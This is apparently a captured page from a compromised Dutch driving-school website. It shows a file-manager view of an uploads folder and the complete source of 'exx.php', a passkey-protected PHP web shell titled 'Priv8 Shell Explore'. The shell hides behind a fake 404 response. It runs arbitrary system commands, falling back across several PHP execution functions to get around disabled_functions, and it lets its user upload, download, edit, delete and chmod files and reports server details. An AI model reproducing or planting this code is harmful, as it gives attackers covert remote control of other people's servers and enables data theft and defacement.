003 File Manager
Current Path:
/usr/local/www/sites/rijschooldrive-experience.nl/public_html/uploads
usr
/
local
/
www
/
sites
/
rijschooldrive-experience.nl
/
public_html
/
uploads
/
📁
..
📄
.htaccess
(265 B)
📄
2.php
(7.34 KB)
📄
6s.txt
(41 B)
📄
exx.php
(31.08 KB)
📄
index.php
(5.23 KB)
Editing: exx.php
<?php /** * by Nyx6st x 0x6ick = 6ickZone | Copyright 2025 by 6ickwhispers@gmail.com * */ $passkey = '6z'; if (!isset($_REQUEST['k']) || $_REQUEST['k'] !== $passkey) { http_response_code(404); exit('404 Not Found'); } @error_reporting(0); @set_time_limit(0); if (isset($_GET['download'])) { $filePath = realpath($_GET['download']); if ($filePath && is_file($filePath) && is_readable($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filePath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } else { http_response_code(404); exit('File not found or not readable.'); } } function get_path() { $path = isset($_REQUEST['d']) ? $_REQUEST['d'] : getcwd(); return realpath($path) ? realpath($path) : getcwd(); } function get_perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function format_size($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; for ($i = 0; $size > 1024; $i++) { $size /= 1024; } return round($size, 2) . ' ' . $units[$i]; } function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); } function exe_bypass($cmd) { $disabled = @ini_get('disable_functions'); $disabled_array = $disabled ? array_map('trim', explode(',', $disabled)) : []; $output = ''; if (function_exists('shell_exec') && !in_array('shell_exec', $disabled_array)) { $output = shell_exec($cmd); if ($output !== null) return $output ?: 'Perintah berhasil dieksekusi tanpa output.'; } if (function_exists('passthru') && !in_array('passthru', $disabled_array)) { ob_start(); passthru($cmd); $output = ob_get_clean(); if ($output !== false) return $output ?: 'Perintah berhasil dieksekusi tanpa output.'; } if (function_exists('system') && !in_array('system', $disabled_array)) { ob_start(); system($cmd); $output = ob_get_clean(); if ($output !== false) return $output ?: 'Perintah berhasil dieksekusi tanpa output.'; } if (function_exists('exec') && !in_array('exec', $disabled_array)) { exec($cmd, $lines); return implode("\n", $lines) ?: 'Perintah berhasil dieksekusi tanpa output.'; } if (function_exists('popen') && !in_array('popen', $disabled_array)) { $handle = popen($cmd . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 1024); } pclose($handle); return $output ?: 'Perintah berhasil dieksekusi tanpa output.'; } } return "ERROR: Semua metode eksekusi perintah yang dicoba dinonaktifkan atau gagal.\nFungsi yang dinonaktifkan: " . ($disabled ?: 'Tidak ada'); } //Ajax if (isset($_GET['ajax'])) { header('Content-Type: application/json'); $path = get_path(); $action = isset($_GET['action']) ? $_GET['action'] : 'list'; $response = ['status' => 'error', 'message' => 'Unknown action']; switch ($action) { case 'list': $folders = []; $files = []; if (is_readable($path)) { $items = @scandir($path); if ($items) { usort($items, function($a, $b) use ($path) { $a_is_dir = is_dir($path . DIRECTORY_SEPARATOR . $a); $b_is_dir = is_dir($path . DIRECTORY_SEPARATOR . $b); if ($a_is_dir && !$b_is_dir) return -1; if (!$a_is_dir && $b_is_dir) return 1; return strcasecmp($a, $b); }); foreach ($items as $item) { if ($item == '.') continue; $full_path = $path . DIRECTORY_SEPARATOR . $item; if ($item == '..') { $folders[] = ['name' => '..', 'path' => dirname($path)]; continue; } $is_dir = is_dir($full_path); $entry = ['name' => htmlspecialchars($item), 'path' => htmlspecialchars($full_path)]; if ($is_dir) { $folders[] = $entry; } else { $entry['size'] = format_size(@filesize($full_path)); $entry['perms'] = get_perms($full_path); $entry['mtime'] = date("Y-m-d H:i:s", @filemtime($full_path)); $entry['is_writable'] = is_writable($full_path); $files[] = $entry; } } } } $response = ['status' => 'ok', 'path' => htmlspecialchars($path), 'folders' => $folders, 'files' => $files]; break; case 'cmd': $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; $output = exe_bypass($cmd); $response = ['status' => 'ok', 'output' => htmlspecialchars($output)]; break; case 'delete': $target = isset($_POST['target']) ? $_POST['target'] : ''; if (file_exists($target)) { if (delete_recursive($target)) $response = ['status' => 'ok', 'message' => 'Item dihapus!']; else $response = ['status' => 'error', 'message' => 'Gagal menghapus item!']; } else $response = ['status' => 'error', 'message' => 'Item tidak ditemukan!']; break; case 'get_content': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (is_file($file) && is_readable($file)) { $response = ['status' => 'ok', 'content' => file_get_contents($file)]; } else $response = ['status' => 'error', 'message' => 'File tidak bisa dibaca.']; break; case 'save_content': $file = isset($_POST['file']) ? $_POST['file'] : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (is_writable(dirname($file))) { if (file_put_contents($file, $content) !== false) $response = ['status' => 'ok', 'message' => 'File berhasil disimpan!']; else $response = ['status' => 'error', 'message' => 'Gagal menyimpan file!']; } else $response = ['status' => 'error', 'message' => 'File atau direktori tidak writable.']; break; case 'chmod': $target = isset($_POST['target']) ? $_POST['target'] : ''; $mode = isset($_POST['mode']) ? octdec($_POST['mode']) : 0755; if (file_exists($target)) { if (@chmod($target, $mode)) $response = ['status' => 'ok', 'message' => 'Permission diubah!']; else $response = ['status' => 'error', 'message' => 'Gagal mengubah permission.']; } else $response = ['status' => 'error', 'message' => 'Target tidak ditemukan.']; break; case 'rename': $old = isset($_POST['old']) ? $_POST['old'] : ''; $new = isset($_POST['new']) ? dirname($old) . DIRECTORY_SEPARATOR . $_POST['new'] : ''; if (file_exists($old) && $new) { if (@rename($old, $new)) $response = ['status' => 'ok', 'message' => 'Item berhasil direname!']; else $response = ['status' => 'error', 'message' => 'Gagal me-rename item.']; } else $response = ['status' => 'error', 'message' => 'Input tidak valid.']; break; case 'upload': if (isset($_FILES['file'])) { $uploadPath = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $response = ['status' => 'ok', 'message' => 'Upload sukses!']; } else $response = ['status' => 'error', 'message' => 'Upload gagal!']; } break; case 'create': $type = isset($_POST['type']) ? $_POST['type'] : ''; $name = isset($_POST['name']) ? $_POST['name'] : ''; $target_path = $path . DIRECTORY_SEPARATOR . $name; if ($type && $name) { if (file_exists($target_path)) { $response = ['status' => 'error', 'message' => 'Nama sudah ada!']; } else { if ($type === 'file' && @touch($target_path)) { $response = ['status' => 'ok', 'message' => 'File berhasil dibuat!']; } elseif ($type === 'dir' && @mkdir($target_path)) { $response = ['status' => 'ok', 'message' => 'Direktori berhasil dibuat!']; } else $response = ['status' => 'error', 'message' => 'Gagal membuat, periksa izin.']; } } else $response = ['status' => 'error', 'message' => 'Input tidak valid.']; break; case 'get_server_info': $total_space = @disk_total_space(get_path()); $free_space = @disk_free_space(get_path()); $response = [ 'status' => 'ok', 'os' => php_uname(), 'php_version' => PHP_VERSION, 'user' => get_current_user(), 'server_ip' => @$_SERVER['SERVER_ADDR'], 'disabled_functions' => ini_get('disable_functions') ?: 'None', 'total_space' => $total_space ? format_size($total_space) : 'N/A', 'free_space' => $free_space ? format_size($free_space) : 'N/A' ]; break; } echo json_encode($response); exit(); } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Explorer</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet"> <style> :root { --bg: #0d1117; --sidebar-bg: #161b22; --text: #c9d1d9; --muted: #8b949e; --border: #30363d; --accent: #58a6ff; --hover: #1f6feb; --success: #2da44e; --error: #f85149; --font: 'Roboto Mono', monospace; } body { font-family: var(--font); background: var(--bg); color: var(--text); margin: 0; font-size: 14px; } .container { display: flex; height: 100vh; } .sidebar { width: 25%; max-width: 350px; min-width: 250px; background: var(--sidebar-bg); border-right: 1px solid var(--border); display: flex; flex-direction: column; } .sidebar-header { padding: 15px; border-bottom: 1px solid var(--border); } .sidebar-content { padding: 15px; overflow-y: auto; flex-grow: 1; } .main-content { flex-grow: 1; display: flex; flex-direction: column; } .top-bar { display: flex; align-items: center; padding: 10px 15px; background: var(--sidebar-bg); border-bottom: 1px solid var(--border); } .path-actions button { background: none; border: 1px solid var(--border); color: var(--text); padding: 5px 10px; margin-right: 5px; cursor: pointer; border-radius: 4px; } .path-actions button:hover { background: var(--border); color: var(--accent); } .path-bar-container { flex-grow: 1; background: var(--bg); border: 1px solid var(--border); border-radius: 4px; padding: 5px 10px; cursor: text; } .path-bar { white-space: nowrap; overflow-x: auto; } .path-bar.hidden, #path-input.hidden { display: none; } #path-input { width: 100%; background: transparent; border: none; color: var(--text); padding: 0; margin: 0; font-size: 1em; font-family: var(--font); } #path-input:focus { outline: none; } .path-part { color: var(--accent); cursor: pointer; } .path-part:hover { color: var(--hover); } .path-sep { margin: 0 5px; color: var(--muted); } .cmd-container { padding: 15px; background: var(--sidebar-bg); border-bottom: 1px solid var(--border); } #cmd-form { display: flex; gap: 10px; } #cmd-input { flex-grow: 1; } #cmd-output { margin-top: 10px; background: var(--bg); padding: 10px; border-radius: 4px; max-height: 25vh; overflow-y: auto; white-space: pre-wrap; word-wrap: break-word; } .file-list-container { overflow-y: auto; flex-grow: 1; } .file-table { width: 100%; border-collapse: collapse; } .file-table th, .file-table td { padding: 10px 15px; text-align: left; border-bottom: 1px solid var(--border); } .file-table th { font-weight: 700; color: var(--muted); } .file-table tr:hover { background: rgba(88, 166, 255, 0.1); } a { color: var(--accent); text-decoration: none; } a:hover { color: var(--hover); } .folder-list a { display: block; padding: 8px; border-radius: 4px; margin-bottom: 2px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .folder-list a:hover { background: var(--border); } .fa-folder { color: #58a6ff; margin-right: 8px; } .fa-file-lines { color: #8b949e; margin-right: 8px;} .perms.writable { color: var(--success); } .perms.not-writable { color: var(--error); } .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); display: none; justify-content: center; align-items: center; z-index: 1000; } .modal-content { background: var(--sidebar-bg); padding: 20px; border-radius: 5px; border: 1px solid var(--border); min-width: 50vw; max-width: 80vw; } .modal-content h3 { margin-top: 0; } textarea { width: 100%; height: 40vh; background: var(--bg); color: var(--text); border: 1px solid var(--border); font-family: var(--font); } input[type=text], input[type=file] { background: var(--bg); border: 1px solid var(--border); color: var(--text); padding: 8px; border-radius: 4px; } button, .button { background: var(--accent); border: none; padding: 8px 15px; cursor: pointer; color: #fff; font-weight: bold; border-radius: 4px; } button:hover, .button:hover { background: var(--hover); } .actions-menu button, .actions-menu a { background: none; border: none; color: var(--accent); cursor: pointer; padding: 5px; font-size: 1em; } .actions-menu i { pointer-events: none; } .system-info { background: var(--bg); padding: 10px; border-radius: 5px; margin-top: 20px; max-height: 200px; overflow-y: auto; font-size: 14px; line-height: 1.4; } .toast-notification { position: fixed; bottom: 20px; left: 50%; transform: translateX(-50%); padding: 10px 20px; border-radius: 5px; color: #fff; font-weight: bold; z-index: 2000; opacity: 0; transition: opacity 0.5s, bottom 0.5s; } .toast-notification.show { opacity: 1; bottom: 40px; } .toast-notification.success { background: var(--success); } .toast-notification.error { background: var(--error); } </style> </head> <body> <div class="container"> <div class="sidebar"> <div class="sidebar-header"> <h3><i class="fa-solid fa-terminal"></i> Priv8 Shell Explore</h3> <form id="upload-form"> <input type="file" name="file" id="file-input" required> <button type="submit" style="width:100%; margin-top:10px;">Upload File</button> </form> </div> <div class="sidebar-content"> <h4>Folders</h4> <div class="folder-list" id="folder-list"></div> </div> <div class="sidebar-footer" style="padding:15px; border-top:1px solid var(--border);"> <div class="system-info" id="system-info-content">Loading server info...</div> </div> </div> <div class="main-content"> <div class="top-bar"> <div class="path-actions"> <button id="home-btn" title="Go to root"><i class="fa-solid fa-house"></i></button> <button id="up-btn" title="Go up one level"><i class="fa-solid fa-arrow-up"></i></button> <button id="new-file-btn" title="New File"><i class="fa-solid fa-file-circle-plus"></i></button> <button id="new-folder-btn" title="New Folder"><i class="fa-solid fa-folder-plus"></i></button> </div> <div class="path-bar-container"> <div id="path-bar"></div> <input type="text" id="path-input" class="hidden"> </div> </div> <div class="cmd-container"> <form id="cmd-form"> <input type="text" id="cmd-input" placeholder="whoami" autocomplete="off"> <button type="submit">Execute</button> </form> <pre id="cmd-output" style="display:none;"></pre> </div> <div class="file-list-container"> <table class="file-table"> <thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr></thead> <tbody id="file-list"></tbody> </table> </div> </div> </div> <div class="modal-overlay" id="editor-modal"> <div class="modal-content"> <h3 id="editor-title">Edit File</h3> <form id="editor-form"> <textarea id="editor-content"></textarea> <input type="hidden" id="editor-file-path"> <div style="margin-top:10px; text-align:right;"> <button type="button" onclick="closeModal()" style="background:var(--muted);">Cancel</button> <button type="submit">Save</button> </div> </form> </div> </div> <script> const passkey = '<?php echo $passkey; ?>'; let currentPath = ''; function showToast(message, status = 'ok') { const toast = document.createElement('div'); toast.className = `toast-notification ${status === 'ok' ? 'success' : 'error'}`; toast.textContent = message; document.body.appendChild(toast); setTimeout(() => { toast.classList.add('show'); }, 10); setTimeout(() => { toast.classList.remove('show'); setTimeout(() => { document.body.removeChild(toast); }, 500); }, 3000); } async function loadServerInfo() { try { const response = await fetch(`?k=${passkey}&ajax=true&action=get_server_info`); const data = await response.json(); if(data.status === 'ok') { const content = `OS : ${data.os}\nPHP : ${data.php_version}\nUser : ${data.user}\nServer IP : ${data.server_ip}\nDisk : ${data.free_space} / ${data.total_space}\nDisabled : ${data.disabled_functions}`.trim(); document.getElementById('system-info-content').innerHTML = `<pre>${content}</pre>`; } } catch(e) { document.getElementById('system-info-content').textContent = 'Failed to load server info.'; } } document.addEventListener('DOMContentLoaded', () => { loadContent('<?php echo addslashes(get_path()); ?>'); loadServerInfo(); document.getElementById('upload-form').addEventListener('submit', handleUpload); document.getElementById('editor-form').addEventListener('submit', handleSave); document.getElementById('cmd-form').addEventListener('submit', handleCmd); document.querySelector('.container').addEventListener('click', handleActions); document.getElementById('new-file-btn').addEventListener('click', () => { const name = prompt('Masukkan nama file baru:'); if (name) doAction('create', {type: 'file', name: name}); }); document.getElementById('new-folder-btn').addEventListener('click', () => { const name = prompt('Masukkan nama folder baru:'); if (name) doAction('create', {type: 'dir', name: name}); }); const pathBarContainer = document.querySelector('.path-bar-container'); const pathBar = document.getElementById('path-bar'); const pathInput = document.getElementById('path-input'); pathBarContainer.addEventListener('click', (e) => { if (e.target === pathBarContainer || e.target === pathBar) { pathBar.classList.add('hidden'); pathInput.classList.remove('hidden'); pathInput.value = currentPath; pathInput.focus(); pathInput.select(); } }); pathInput.addEventListener('keyup', (e) => { if (e.key === 'Enter') { loadContent(pathInput.value); pathInput.classList.add('hidden'); pathBar.classList.remove('hidden'); } }); pathInput.addEventListener('blur', () => { pathInput.classList.add('hidden'); pathBar.classList.remove('hidden'); }); document.getElementById('home-btn').addEventListener('click', () => { const root = currentPath.includes('\\') ? currentPath.substring(0, 3) : '/'; loadContent(root); }); document.getElementById('up-btn').addEventListener('click', () => { if (currentPath.match(/^[a-zA-Z]:[\\\/]$/)) return; // Don't go up from root C:\ let parentPath = currentPath.substring(0, currentPath.replace(/[\\\/]$/, '').lastIndexOf('/')); parentPath = parentPath || '/'; loadContent(parentPath); }); }); function handleActions(e) { let targetElement = e.target.closest('[data-action]'); if (targetElement) { e.preventDefault(); const action = targetElement.getAttribute('data-action'); const target = targetElement.getAttribute('data-target'); switch(action) { case 'nav': loadContent(target); break; case 'delete': if(confirm(`Yakin hapus ${target}?`)) doAction('delete', {target}); break; case 'edit': openEditor(target); break; case 'chmod': const mode = prompt('Masukkan mode oktal baru (e.g., 0755):', '0755'); if (mode) doAction('chmod', {target, mode}); break; case 'rename': const newName = prompt('Masukkan nama baru:', target.split(/[\\\/]/).pop()); if (newName) doAction('rename', {old: target, new: newName}); break; } } } async function doAction(action, data) { const formData = new FormData(); for (const key in data) { formData.append(key, data[key]); } try { const response = await fetch(`?k=${passkey}&ajax=true&action=${action}&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); showToast(result.message, result.status); if (result.status === 'ok') loadContent(currentPath); } catch (error) { console.error('Action failed:', error); showToast('An error occurred.', 'error'); } } async function openEditor(filePath) { try { const response = await fetch(`?k=${passkey}&ajax=true&action=get_content&file=${encodeURIComponent(filePath)}`); const result = await response.json(); if (result.status === 'ok') { document.getElementById('editor-title').textContent = `Edit: ${filePath.split(/[\\\/]/).pop()}`; document.getElementById('editor-content').value = result.content; document.getElementById('editor-file-path').value = filePath; document.getElementById('editor-modal').style.display = 'flex'; } else { showToast(result.message, result.status); } } catch (error) { console.error('Failed to open editor:', error); showToast('Could not load file content.', 'error'); } } function closeModal() { document.getElementById('editor-modal').style.display = 'none'; } async function handleSave(e) { e.preventDefault(); const filePath = document.getElementById('editor-file-path').value; const content = document.getElementById('editor-content').value; await doAction('save_content', {file: filePath, content}); closeModal(); } async function handleUpload(e) { e.preventDefault(); const fileInput = document.getElementById('file-input'); if (fileInput.files.length === 0) { showToast('Pilih file untuk diupload!', 'error'); return; } const formData = new FormData(); formData.append('file', fileInput.files[0]); try { const response = await fetch(`?k=${passkey}&ajax=true&action=upload&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); showToast(result.message, result.status); if (result.status === 'ok') { loadContent(currentPath); e.target.reset(); } } catch (error) { console.error('Upload failed:', error); showToast('Upload failed.', 'error'); } } async function handleCmd(e) { e.preventDefault(); const cmdInput = document.getElementById('cmd-input'); const cmdOutput = document.getElementById('cmd-output'); const cmd = cmdInput.value; if (!cmd) return; cmdOutput.style.display = 'block'; cmdOutput.textContent = 'Executing...'; const formData = new FormData(); formData.append('cmd', cmd); try { const response = await fetch(`?k=${passkey}&ajax=true&action=cmd&d=${encodeURIComponent(currentPath)}`, { method: 'POST', body: formData }); const result = await response.json(); cmdOutput.textContent = result.output; cmdInput.value = ''; } catch (error) { console.error('Command execution failed:', error); cmdOutput.textContent = 'Error executing command.'; } } function loadContent(path) { currentPath = path; const folderList = document.getElementById('folder-list'); const fileList = document.getElementById('file-list'); folderList.innerHTML = 'Loading...'; fileList.innerHTML = '<tr><td colspan="5" style="text-align:center;">Loading...</td></tr>'; fetch(`?k=${passkey}&ajax=true&action=list&d=${encodeURIComponent(path)}`) .then(res => res.json()) .then(data => { if (data.status !== 'ok') { showToast('Failed to load directory.', 'error'); return; } updatePathBar(data.path); folderList.innerHTML = data.folders.map(f => ` <div class="folder-item"> <a href="#" data-action="nav" data-target="${f.path}"><i class="fa-solid fa-folder"></i> ${f.name}</a> </div> `).join(''); fileList.innerHTML = data.files.map(f => ` <tr> <td><i class="fa-regular fa-file-lines"></i> ${f.name}</td> <td>${f.size}</td> <td class="perms ${f.is_writable ? 'writable' : 'not-writable'}">${f.perms}</td> <td>${f.mtime}</td> <td class="actions-menu"> <button title="Edit" data-action="edit" data-target="${f.path}"><i class="fa-solid fa-pen-to-square"></i></button> <button title="Rename" data-action="rename" data-target="${f.path}"><i class="fa-solid fa-i-cursor"></i></button> <button title="Chmod" data-action="chmod" data-target="${f.path}"><i class="fa-solid fa-key"></i></button> <a href="?k=${passkey}&download=${encodeURIComponent(f.path)}" title="Download"><i class="fa-solid fa-download"></i></a> <button title="Delete" data-action="delete" data-target="${f.path}"><i class="fa-solid fa-trash"></i></button> </td> </tr> `).join(''); }).catch(err => { console.error("Failed to load content:", err); folderList.innerHTML = '<span style="color:var(--error)">Error loading folders.</span>'; fileList.innerHTML = '<tr><td colspan="5" style="text-align:center;color:var(--error)">Error loading files.</td></tr>'; }); } function updatePathBar(fullPath) { const pathBar = document.getElementById('path-bar'); pathBar.innerHTML = ''; const isWindows = fullPath.includes('\\'); const separator = isWindows ? '\\' : '/'; const parts = fullPath.split(separator); let builtPath = isWindows ? '' : '/'; parts.forEach((part, index) => { if (part === '') { if(index === 0) { // Root '/' const rootLink = document.createElement('a'); rootLink.href = '#'; rootLink.textContent = '/'; rootLink.className = 'path-part'; rootLink.setAttribute('data-action', 'nav'); rootLink.setAttribute('data-target', '/'); pathBar.appendChild(rootLink); } return; } builtPath += part + separator; if(index > 0 && pathBar.children.length > 0) { const sep = document.createElement('span'); sep.className = 'path-sep'; sep.textContent = '>'; pathBar.appendChild(sep); } const partLink = document.createElement('a'); partLink.href = '#'; partLink.textContent = part; partLink.className = 'path-part'; partLink.setAttribute('data-action', 'nav'); partLink.setAttribute('data-target', builtPath); pathBar.appendChild(partLink); }); } </script> </body> </html>
Upload File
Create Folder